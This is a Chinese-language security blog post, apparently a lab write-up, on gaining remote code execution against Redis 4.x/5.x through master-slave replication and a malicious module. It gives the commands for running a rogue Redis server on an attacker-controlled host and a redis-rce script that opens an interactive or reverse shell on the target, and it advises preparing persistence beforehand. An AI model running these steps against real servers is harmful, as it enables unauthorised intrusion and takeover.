实验|redis主从复制rce

admin 2021年6月28日16:05:59评论195 views字数 1716阅读5分43秒阅读模式
0x00 前言
大概一年前我写过redis系列的两篇文章:
实验|CentOS下从零搭建Redis测试环境
《实验|CentOs下Redis漏洞利用方式复现

虽然当时说要继续补充redis的利用方式,但是挖了坑之后就一直没有管了……因为那时我认为文内列举的三种方式可以适用大部分情况。但是最近的项目发现其实并不是这样。

0x01 低权限用户利用redis
《实验|CentOs下Redis漏洞利用方式复现》这篇文章介绍了写计划任务、写公钥、写webshell三种redis利用方式,但如果非root用户docker运行redis服务,很可能同时不满足这三种利用条件:

1、写计划任务:非root用户一般只能修改自己的已存在的计划任务文件,而不能在计划任务的目录下新建文件。但是仅凭redis权限不能得知运行服务的用户名,即使猜到了用户名也很可能没有属于自己的计划任务文件,此路不通。

2、写公钥:非root用户只能进入自己的家目录,会有猜不到用户名和不存在.ssh目录的问题(redis只能新建文件不能创建目录),除此之外运行redis服务的用户还有可能根本就不能登陆。

实验|redis主从复制rce


3、写webshell:这算是低权限用户最靠谱的redis利用方式了,但也有找不到绝对路径、没有权限向web目录写文件、服务器根本没运行web服务(docker)等问题。

于是小黑又补充学习了更为通用的利用方式:redis主从复制rce,适用版本redis4.x/5.x,4版本之前是这个漏洞还没有实现,5版本之后应该是漏洞被修复了。

0x02 搭建环境
具体参照这篇文章:《实验|CentOS下从零搭建Redis测试环境
我搭了一个5.0.0版本的redis用于这篇文章的实验。
实验|redis主从复制rce

因为漏洞复现会修改dbfilenameslaveof配置项,事后要记得改回来,所以这里先连接上redis记下这两个配置项的值。

实验|redis主从复制rce


0x03 漏洞简介
Redis提供主从模式:使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。

在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so文件,我们就可以执行拓展的新命令了。

0x04 漏洞复现
漏洞复现需要准备以下工具:
1、恶意so文件
2、恶意redis服务端(用py脚本模拟)
3、redis-rce脚本(简化人工操作)
这些工具在github上都能找到,这里我也给大家收集好了,公众号后台回复关键词redisRCE即可获取:
实验|redis主从复制rce

1、攻击者首先在目标能访问的机器上(公网vps或把端口映射出去),运行下面命令把恶意redis服务端跑起来:
python2 RogueServer.py --lport 6379 --exp exp.so
实验|redis主从复制rce

2、然后执行redis-rce脚本
python3 redis-rce.py -r 目标ip -p 目标端口 -L 本机ip -f 恶意so文件
实验|redis主从复制rce

3、选择利用方式:选[i]是直接进入shell,选[r]是反弹shell出来,为了方便这里就选i:
实验|redis主从复制rce
可以执行命令了,利用成功!

0x05 注意事项
1、主从rce使用后容易把目标redis服务打挂,尽量不要过多使用,同时使用之前尽量先准备好权限维持的手段。
2、rce脚本会修改目标redis的配置项dbfilename和slaveof,事后要记得改回来。

0x06 后记
又填了一个坑,其实我所知的redis的利用方式还有覆盖/etc/passwdlua rce,不过感觉利用条件更加苛刻,或同等条件下往往有更好的利用方式,所以鸽了鸽了,以后看缘分再给大家分享吧,下周写点其他的。

欢迎大家继续关注公众号“小黑的安全笔记”,我将在这里分享我在安全路上点点滴滴的学习积累,一起学习一起成长吧~

END.


喵,点个赞再走吧~

实验|redis主从复制rce

本文始发于微信公众号(小黑的安全笔记):实验|redis主从复制rce

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年6月28日16:05:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实验|redis主从复制rcehttps://cn-sec.com/archives/407561.html

发表评论

匿名网友 填写信息